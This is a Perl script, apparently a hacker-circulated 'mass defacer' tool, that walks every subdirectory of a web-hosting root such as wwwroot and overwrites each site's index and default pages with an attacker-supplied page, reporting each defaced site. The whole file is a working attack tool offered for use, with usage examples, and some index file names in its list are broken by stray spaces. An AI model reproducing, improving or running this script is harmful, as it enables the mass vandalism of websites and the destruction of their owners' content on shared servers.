#!/usr/bin/perl

#My comments >>
#(C) anonymous
#mass defacer script (c)
#usage: hmass.pl -i <index.html> -d <defacepath> -p <rootpath>
#example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
# [-p Optional ]
#mail:
#Special thanks: Cyberwired

#my used functions
use Getopt::Std;
use FileHandle;
use File::Copy "cp";
#<<end used functions

#checking OS
my $OperatingSystem = $^O;
my $unix = "";
if (index(lc($OperatingSystem),"win")!=-1){
    $unix="0"; #windows system
      }else{
	  $unix="1"; #unix system
	    }

#Our variables
getopts (":p:i:d:", \%args);
  $p=$args{p}; #root path
  $d=$args{d};#mass deface path
  $i=$args{i};#index file

#Our index files
#d0 u need 0ther add it
@indexz=('index.html','index.htm','index.asp','index.cfm','i ndex.php','default.html','default.htm','default.asp','defaul t.cfm','default.php');


#Parametres Checking
if(!defined($d) || !defined($i)){usage();}
if(defined($d) && defined($i) && !defined($p)){checkfile($i);checkdir($d);normaldeface($d);};
if(defined($d) && defined($i) && defined($p)){checkfile($i);checkdir($d);rootpathdeface($d,$p );};

#normal deface function
sub normaldeface{
    if($unix){
	system("clear");
	}
    else{system("cls");}
    $dir=shift;
    @otekidizinler=dizinbul($dir);
    foreach $tekdizin(@otekidizinler){
	foreach $tekindex(@indexz){
	    if($unix){
		gopyala($i,"$dir//$tekdizin//$rpath//$tekindex");
		}
	    else{gopyala($i,"$dir\\$tekdizin\\$rpath\\$tekindex");}
	    }
	print "Defaced here : $tekdizin\n";
	}
    }

#rootpath deface function
sub rootpathdeface{
    if($unix){
	system("clear");
	}
    else{system("cls");}
    ($dzn,$rpath)=@_;
    @aqdunyanin=dizinbul($dzn);
    foreach $tekdizin(@aqdunyanin){
	foreach $tekindex(@indexz){
	    if($unix){
		gopyala($i,"$dzn//$tekdizin//$rpath//$tekindex");
		}
	    else{gopyala($i,"$dzn\\$tekdizin\\$rpath\\$tekindex");}
	    }
	print "Defaced here : $tekdizin\\$rpath\n";
	}
    }

#copy function
sub gopyala{
    ($file1,$file2)=@_;
    $n = FileHandle->new("$file1","r");
    cp($n,"$file2");
    }

#list dir function
sub dizinbul {
    my ($dir) = @_;
    opendir(DIR, $dir) || return();
    my @files = readdir(DIR);
    closedir(DIR);
    @files = grep { -d "$dir/$_" } @files; #alt dizinler
      my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Bir alt dizin ve i&#231;inde bulunulan dizini ay?kla
      return(@files);
    }

sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }

#How i use this script ?
sub usage{

    if($unix){
	system("clear");
	}
    else{system("cls");}

    print q
      [
	  ============================================================ =============
	  h4ck for tools
	  (C) anonymous
	  usage: hmass.pl -i <index.html> -d <defacepath> -p <rootpath>
	  example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
	  -p Optional
	  ============================================================ =============
	  ];
    exit;
    }